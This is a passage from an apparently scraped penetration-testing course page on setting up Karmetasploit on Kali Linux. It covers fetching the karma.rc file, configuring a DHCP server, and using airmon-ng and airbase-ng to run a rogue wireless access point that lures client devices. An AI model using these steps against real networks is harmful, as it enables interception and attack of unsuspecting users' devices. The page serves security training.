

Karmetasploit Configuration a11y.text Karmetasploit Configuration There is a bit of setup required to get Karmetasploit up and going on Kali Linux Rolling. The first step is to obtain the run control file for Karmetasploit: root@kali : ~ # wget

https://www.offsec.com/wp-content/uploads/2015/04/karma.rc\_.txt --2015-04-03 16:17:27--

https://www.offsec.com/downloads/karma.rc

Resolving www.offensive-security.com (www.offensive-security.com)... 198.50.176.211

Connecting to www.offensive-security.com (www.offensive-security.com)[198.50.176.211]:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 1089 (1.1K) [text/plain]

Saving to: `karma.rc' 100%[=====>] 1,089 --.-K/s in 0s

2015-04-03 16:17:28 (35.9 MB/s) - `karma.rc' saved [1089/1089]

root@kali:~# Having obtained that requirement, we need to set up a bit of the infrastructure that will be required. When clients attach to the fake AP we run, they will be expecting to be assigned an IP address. As such, we need to put a DHCP server in place. Letâ€™s install a DHCP server onto Kali.

root@kali : ~ # apt update ...snip... root@kali : ~ # apt -y install isc-dhcp-server Reading package lists... Done

Building dependency tree

Reading state information... Done

...snip...

root@kali:~# Next, letâ€™s configure our dhcpd.conf file. We will replace the configuration file with the following output: root@kali : ~ # cat /etc/dhcp/dhcpd.conf option domain-name-servers 10.0.0.1;

default-lease-time 60;

max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

```
subnet 10.0.0.0 netmask 255.255.255.0 {  
    range 10.0.0.100 10.0.0.254;  
    option routers 10.0.0.1;  
    option domain-name-servers 10.0.0.1;  
}
```

root@kali:~# Then we need to install a couple of requirements. root@kali : ~ # apt -y install

libsqlite3-dev Reading package lists... Done

Building dependency tree

Reading state information... Done

...snip... root@kali : ~ # gem install activerecord sqlite3 Fetching: activerecord-5.0.0.1.gem (100%)

Successfully installed activerecord-5.0.0.1

Parsing documentation for activerecord-5.0.0.1

Installing ri documentation for activerecord-5.0.0.1

Done installing documentation for activerecord after 7 seconds

Fetching: sqlite3-1.3.12.gem (100%)

Building native extensions. This could take a while...

Successfully installed sqlite3-1.3.12

Parsing documentation for sqlite3-1.3.12

Installing ri documentation for sqlite3-1.3.12

Done installing documentation for sqlite3 after 0 seconds

2 gems installed

root@kali:~# Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode with airmon-ng . Afterwards we use airbase-ng to start a new

wireless network. root@kali : ~ # airmon-ng

PHY	Interface	Driver	Chipset
-----	-----------	--------	---------

phy0 wlan0	ath9k_htc	Atheros Communications, Inc.	AR9271 802.11n
------------	-----------	------------------------------	----------------

root@kali : ~ #

airmon-ng start wlan0

phy0 wlan0 ath9k\_htc Atheros Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)

(mac80211 station mode vif disabled for [phy0]wlan0)

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID	Name
-----	------

693	dhclient
-----	----------

934	wpa_supplicant
-----	----------------

root@kali : ~ # airbase-ng -P -C 30 -e "U R PWND" -v wlan0mon

For information, no action required: Using gettimeofday() instead of /dev/rtc

22:52:25 Created tap interface at0

22:52:25 Trying to set MTU on at0 to 1500

22:52:25 Trying to set MTU on wlan0mon to 1800

22:52:25 Access Point with BSSID 00:C0:CA:82:D9:63 started. Airbase-ng has created a new interface for us, `at0`. This is the interface we will now use. We will now assign ourselves an IP address.

```
root@kali : ~ # ifconfig at0 up 10.0 .0.1 netmask 255.255 .255.0
```

root@kali:~# Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.

```
root@kali : ~ # touch /var/lib/dhcp/dhcpd.leases
```

```
root@kali : ~ # dhcpd -cf /etc/dhcp/dhcpd.conf
```

at0 Internet Systems Consortium DHCP Server 4.3.3

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For info, please visit <https://www.isc.org/software/dhcp/>

Config file: `/etc/dhcp/dhcpd.conf`

Database file: `/var/lib/dhcp/dhcpd.leases`

PID file: `/var/run/dhcpd.pid`

Wrote 0 leases to leases file.

Listening on LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24

Sending on LPF/at0/00:c0:ca:82:d9:63/10.0.0.0/24

Sending on Socket/fallback/fallback-net

```
root@kali : ~ # ps aux | grep [ d ] hcpd
```

USER	PR	PPID	FD	VSZ	STAT	TIME	COMMAND
root	2373	0	0	0	Ss	13:45 0:00	dhcpd -cf /etc/dhcp/dhcpd.conf at0

root@kali:~# Next Karmetasploit in Action Prev Karmetasploit